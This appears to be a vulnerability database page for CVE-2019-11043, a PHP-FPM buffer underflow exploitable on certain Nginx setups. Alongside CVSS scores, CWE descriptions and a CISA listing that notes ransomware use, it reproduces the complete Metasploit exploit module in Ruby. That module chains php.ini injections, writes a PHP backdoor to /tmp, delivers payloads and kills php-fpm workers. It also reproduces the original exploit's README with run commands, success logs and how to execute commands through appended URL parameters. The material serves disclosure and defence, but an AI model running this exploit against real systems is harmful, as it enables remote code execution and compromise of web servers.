Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-120 |
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow. |
|
CWE-787 |
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
8.7 |
HIGH |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
|
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : PHP FastCGI Process Manager (FPM) Buffer Overflow Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Known
Added : 2022-03-24 23h00 +00:00
Action is due : 2022-04-14 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 48182
Publication date : 2020-03-08 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PHP-FPM Underflow RCE',
'Description' => %q(
This module exploits an underflow vulnerability in versions 7.1.x
below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on
Nginx. Only servers with certains Nginx + PHP-FPM configurations are
exploitable. This is a port of the original neex's exploit code (see
refs.). First, it detects the correct parameters (Query String Length
and custom header length) needed to trigger code execution. This step
determines if the target is actually vulnerable (Check method). Then,
the exploit sets a series of PHP INI directives to create a file
locally on the target, which enables code execution through a query
string parameter. This is used to execute normal payload stagers.
Finally, this module does some cleanup by killing local PHP-FPM
workers (those are spawned automatically once killed) and removing
the created local file.
),
'Author' => [
'neex', # (Emil Lerner) Discovery and original exploit code
'cdelafuente-r7' # This module
],
'References' =>
[
['CVE', '2019-11043'],
['EDB', '47553'],
['URL', 'https://github.com/neex/phuip-fpizdam'],
['URL', 'https://bugs.php.net/bug.php?id=78599'],
['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html']
],
'DisclosureDate' => "2019-10-22",
'License' => MSF_LICENSE,
'Payload' => {
'BadChars' => "&>\' "
},
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload' => {
'PrependEncoder' => "php -r \"",
'AppendEncoder' => "\""
}
}
],
[
'Shell Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php'])
])
register_advanced_options([
OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]),
OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]),
OptInt.new('QSLHint', [false, 'Query string length hint']),
OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]),
OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]),
OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]),
OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]),
OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']),
OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]),
OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20])
])
@filename = rand_text_alpha(1)
@http_param = rand_text_alpha(1)
end
CHECK_COMMAND = "which which"
SUCCESS_PATTERN = "/bin/which"
class DetectMethod
attr_reader :php_option_enable, :php_option_disable
def initialize(php_option_enable:, php_option_disable:, check_cb:)
@php_option_enable = php_option_enable
@php_option_disable = php_option_disable
@check_cb = check_cb
end
def php_option_enabled?(res)
!!@check_cb.call(res)
end
end
def self.detect_methods
{
'session.auto_start' => DetectMethod.new(
php_option_enable: 'session.auto_start=1',
php_option_disable: 'session.auto_start=0',
check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ }
),
'output_handler.md5' => DetectMethod.new(
php_option_enable: 'output_handler=md5',
php_option_disable: 'output_handler=NULL',
check_cb: ->(res) { res.body.length == 16 }
)
}
end
def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true)
uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'})
qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length
if qsl_delta.odd?
fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
end
prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
qsl_prime = qsl - qsl_delta/2 - prefix.length
if qsl_prime < 0
fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
end
uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}"
opts = {
'method' => 'GET',
'uri' => uri,
'headers' => {
'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}",
'Nuut' => Rex::Text.rand_text_alphanumeric(11)
}
}
actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0
actual_timeout ||= 20
connect(opts) if client.nil? || !client.conn?
# By default, try to reuse an existing connection (persist option).
res = client.send_recv(client.request_raw(opts), actual_timeout, true)
if res.nil? && allow_retry
# The server closed the connection, resend without 'persist', which forces
# reconnecting. This could happen if the connection is reused too much time.
# Nginx will automatically close a keepalive connection after 100 requests
# by default or whatever value is set by the 'keepalive_requests' option.
res = client.send_recv(client.request_raw(opts), actual_timeout)
end
res
end
def repeat_operation(op, opts={})
datastore['OperationMaxRetries'].times do |i|
vprint_status("#{op}: try ##{i+1}")
res = opts.empty? ? send(op) : send(op, opts)
return res if res
end
nil
end
def extend_qsl_list(qsl_candidates)
qsl_candidates.each_with_object([]) do |qsl, extended_qsl|
(0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta|
extended_qsl << qsl - delta
end
end.sort.uniq
end
def sanity_check?
datastore['OperationMaxRetries'].times do
res = send_crafted_request(
path: "/PHP\nSOSAT",
qsl: datastore['MaxQSL'],
customh_length: datastore['MaxCustomHeaderLength']
)
unless res
vprint_error("Error during sanity check")
return false
end
if res.code != @base_status
vprint_error(
"Invalid status code: #{res.code} (must be #{@base_status}). "\
"Maybe \".php\" suffix is required?"
)
return false
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
if detect_method.php_option_enabled?(res)
vprint_error(
"Detection method '#{datastore['DetectMethod']}' won't work since "\
"the PHP option has already been set on the target. Try another one"
)
return false
end
end
return true
end
def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')
res = nil
path = "/PHP_VALUE\n#{php_setting}"
pos_offset = 34
if path.length > pos_offset
vprint_error(
"The path size (#{path.length} bytes) is larger than the allowed size "\
"(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')")
return nil
end
path += ';' * (pos_offset - path.length)
res = send_crafted_request(
path: path,
qsl: qsl,
customh_length: customh_length,
cmd: cmd
)
unless res
vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}")
end
return res
end
def send_params_detection(qsl_candidates:, customh_length:, detect_method:)
php_setting = detect_method.php_option_enable
vprint_status("Iterating until the PHP option is enabled (#{php_setting})...")
customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a
qsl_candidates.product(customh_lengths) do |qsl, c_length|
res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
unless res
vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}")
return nil
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}")
end
if detect_method.php_option_enabled?(res)
php_setting = detect_method.php_option_disable
vprint_status("Attack params found, disabling PHP option (#{php_setting})...")
set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
return { qsl: qsl, customh_length: c_length }
end
end
return nil
end
def detect_params(qsl_candidates)
customh_length = nil
if datastore['CustomHeaderLengthHint']
vprint_status(
"Using custom header length hint for max length (customh_length="\
"#{datastore['CustomHeaderLengthHint']})"
)
customh_length = datastore['CustomHeaderLengthHint']
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
return repeat_operation(
:send_params_detection,
qsl_candidates: qsl_candidates,
customh_length: customh_length,
detect_method: detect_method
)
end
def send_attack_chain
[
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=#{@filename}",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/#{@filename}",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[#{@http_param}]`?>\""
].each do |php_setting|
vprint_status("Sending php.ini setting: #{php_setting}")
res = set_php_setting(
php_setting: php_setting,
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: "/bin/sh -c '#{CHECK_COMMAND}'"
)
if res
return res if res.body.include?(SUCCESS_PATTERN)
else
print_error("Error when setting #{php_setting}")
return nil
end
end
return nil
end
def send_payload
disconnect(client) if client&.conn?
send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: payload.encoded,
allow_retry: false
)
Rex.sleep(1)
return session_created? ? true : nil
end
def send_backdoor_cleanup
cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}"
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: cleanup_command + ';' + CHECK_COMMAND
)
return res if res&.body.include?(SUCCESS_PATTERN)
return nil
end
def detect_qsl
qsl_candidates = []
(datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl|
res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl)
unless res
vprint_error("Error when sending query with QSL=#{qsl}")
next
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate")
qsl_candidates << qsl
end
end
qsl_candidates
end
def check
print_status("Sending baseline query...")
res = send_crafted_request(path: "/path\ninfo.php")
return CheckCode::Unknown("Error when sending baseline query") unless res
@base_status = res.code
vprint_status("Base status code is #{@base_status}")
if datastore['QSLHint']
print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})")
qsl_candidates = [datastore['QSLHint']]
else
print_status("Detecting QSL...")
qsl_candidates = detect_qsl
end
if qsl_candidates.empty?
return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong")
end
if qsl_candidates.size > datastore['MaxQSLCandidates']
return CheckCode::Detected("Too many qsl candidates found, looks like I got banned")
end
print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}")
qsl_candidates = extend_qsl_list(qsl_candidates)
vprint_status("Extended QSL list: #{qsl_candidates}")
print_status("Doing sanity check...")
return CheckCode::Detected('Sanity check failed') unless sanity_check?
print_status("Detecting attack parameters...")
@params = detect_params(qsl_candidates)
return CheckCode::Detected('Unable to detect parameters') unless @params
print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}")
print_good("Target is vulnerable!")
CheckCode::Vulnerable
ensure
disconnect(client) if client&.conn?
end
def exploit
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
end
if @params[:qsl].nil? || @params[:customh_length].nil?
fail_with Failure::NotVulnerable, 'Attack parameters not found'
end
print_status("Performing attack using php.ini settings...")
if repeat_operation(:send_attack_chain)
print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'")
else
fail_with Failure::Unknown, 'Failed to send the attack chain'
end
print_status("Trying to cleanup /tmp/#{@filename}...")
if repeat_operation(:send_backdoor_cleanup)
print_good('Cleanup done!')
end
print_status("Sending payload...")
repeat_operation(:send_payload)
end
def send_cleanup(cleanup_cmd:)
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: cleanup_cmd
)
return res if res && res.code != @base_status
return nil
end
def cleanup
return unless successful
kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done'
rm = "rm -f /tmp/#{@filename}"
cleanup_cmd = kill_workers + ';' + rm
disconnect(client) if client&.conn?
print_status("Remove /tmp/#{@filename} and kill workers...")
if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd)
print_good("Done!")
else
print_bad(
"Could not cleanup. Run these commands before terminating the session: "\
"#{kill_workers}; #{rm}"
)
end
end
end
Exploit Database EDB-ID : 47553
Publication date : 2019-10-27 23h00 +00:00
Author : Emil Lerner
EDB Verified : No
# PHuiP-FPizdaM
## What's this
This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible to trigger from the outside. This means that a web user may get code execution if you have vulnerable config (see [below](#the-full-list-of-preconditions)).
## What's vulnerable
If a webserver runs nginx + php-fpm and nginx have a configuration like
```
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
```
which also lacks any script existence checks (like `try_files`), then you can probably hack it with this sploit.
#### The full list of preconditions
1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)` must be forwarded to php-fpm (maybe the regexp can be stricter, see [#1](https://github.com/neex/phuip-fpizdam/issues/1)).
2. The `fastcgi_split_path_info` directive must be there and contain a regexp starting with `^` and ending with `$`, so we can break it with a newline character.
3. There must be a `PATH_INFO` variable assignment via statement `fastcgi_param PATH_INFO $fastcgi_path_info;`. At first, we thought it is always present in the `fastcgi_params` file, but it's not true.
4. No file existence checks like `try_files $uri =404` or `if (-f $uri)`. If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch.
5. This exploit works only for PHP 7+, but the bug itself is present in earlier versions (see [below](#about-php5)).
## Isn't this known to be vulnerable for years?
A long time ago php-fpm didn't restrict the extensions of the scripts, meaning that something like `/avatar.png/some-fake-shit.php` could execute `avatar.png` as a PHP script. This issue was fixed around 2010.
The current one doesn't require file upload, works in the most recent versions (until the fix has landed), and, most importantly, the exploit is much cooler.
## How to run
Install it using
```
go get github.com/neex/phuip-fpizdam
```
If you get strange compilation errors, make sure you're using go >= 1.13. Run the program using `phuip-fpizdam [url]` (assuming you have the `$GOPATH/bin` inside your `$PATH`, otherwise specify the full path to the binary). Good output looks like this:
```
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
```
After this, you can start appending `?a=<your command>` to all PHP scripts (you may need multiple retries).
## Playground environment
If you want to reproduce the issue or play with the exploit locally, do the following:
1. Clone this repo and go to the `reproducer` directory.
2. Create the docker image using `docker build -t reproduce-cve-2019-11043 .`. It takes a long time as it internally clones the php repository and builds it from the source. However, it will be easier this way if you want to debug the exploit. The revision built is the one right before the fix.
2. Run the docker using `docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043`.
3. Now you have http://127.0.0.1:8080/script.php, which is an empty file.
4. Run the exploit using `phuip-fpizdam http://127.0.0.1:8080/script.php`
5. If everything is ok, you'll be able to execute commands by appending `?a=` to the script: http://127.0.0.1:8080/script.php?a=id. Try multiple times as only some of php-fpm workers are infected.
## About PHP5
The buffer underflow in php-fpm is present in PHP version 5. However, this exploit makes use of an optimization used for storing FastCGI variables, [_fcgi_data_seg](https://github.com/php/php-src/blob/5d6e923/main/fastcgi.c#L186). This optimization is present only in php 7, so this particular exploit works only for php 7. There might be another exploitation technique that works in php 5.
## Credits
Original anomaly discovered by [d90pwn](https://twitter.com/d90pwn) during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by [beched](https://twitter.com/ahack_ru).
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47553.zip
Products Mentioned
Configuraton 0
Php>>Php >> Version From (including) 7.1.0 To (excluding) 7.1.33
Php>>Php >> Version From (including) 7.2.0 To (excluding) 7.2.24
Php>>Php >> Version From (including) 7.3.0 To (excluding) 7.3.11
Configuraton 0
Canonical>>Ubuntu_linux >> Version 12.04
Canonical>>Ubuntu_linux >> Version 14.04
Canonical>>Ubuntu_linux >> Version 16.04
Canonical>>Ubuntu_linux >> Version 18.04
Canonical>>Ubuntu_linux >> Version 19.04
Canonical>>Ubuntu_linux >> Version 19.10
Configuraton 0
Debian>>Debian_linux >> Version 9.0
Debian>>Debian_linux >> Version 10.0
Configuraton 0
Fedoraproject>>Fedora >> Version 29
Fedoraproject>>Fedora >> Version 30
Fedoraproject>>Fedora >> Version 31
Configuraton 0
Tenable>>Tenable.sc >> Version To (excluding) 5.19.0
Configuraton 0
Redhat>>Software_collections >> Version 1.0
Redhat>>Enterprise_linux >> Version 8.0
Redhat>>Enterprise_linux_desktop >> Version 6.0
Redhat>>Enterprise_linux_desktop >> Version 7.0
Redhat>>Enterprise_linux_eus >> Version 7.7
Redhat>>Enterprise_linux_eus >> Version 8.1
Redhat>>Enterprise_linux_eus >> Version 8.2
Redhat>>Enterprise_linux_eus >> Version 8.4
Redhat>>Enterprise_linux_eus >> Version 8.6
Redhat>>Enterprise_linux_eus >> Version 8.8
Redhat>>Enterprise_linux_eus_compute_node >> Version 7.7
Redhat>>Enterprise_linux_for_arm_64 >> Version 8.0_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.1_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.2_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.4_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.6_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.8_aarch64
Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 6.0_s390x
Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 7.0_s390x
Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 8.0_s390x
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 7.7_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 7.7_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.1_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.1_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.2_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.2_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.4_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.4_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.6_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.6_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.8_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.8_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_power_big_endian >> Version 6.0_ppc64
Redhat>>Enterprise_linux_for_power_big_endian >> Version 7.0_ppc64
Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.7_ppc64
- Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.7_ppc64 (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian >> Version 7.0_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian >> Version 7.0_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian >> Version 8.0_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian >> Version 8.0_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.7_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.7_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.1_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.1_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.2_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.2_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.4_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.4_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.6_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.6_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.8_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.8_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_scientific_computing >> Version 7.0
Redhat>>Enterprise_linux_server >> Version 6.0
Redhat>>Enterprise_linux_server >> Version 7.0
Redhat>>Enterprise_linux_server_aus >> Version 7.7
Redhat>>Enterprise_linux_server_aus >> Version 8.2
Redhat>>Enterprise_linux_server_aus >> Version 8.4
Redhat>>Enterprise_linux_server_aus >> Version 8.6
Redhat>>Enterprise_linux_server_tus >> Version 7.7
Redhat>>Enterprise_linux_server_tus >> Version 8.2
Redhat>>Enterprise_linux_server_tus >> Version 8.4
Redhat>>Enterprise_linux_server_tus >> Version 8.6
Redhat>>Enterprise_linux_server_tus >> Version 8.8
Redhat>>Enterprise_linux_workstation >> Version 6.0
Redhat>>Enterprise_linux_workstation >> Version 7.0
References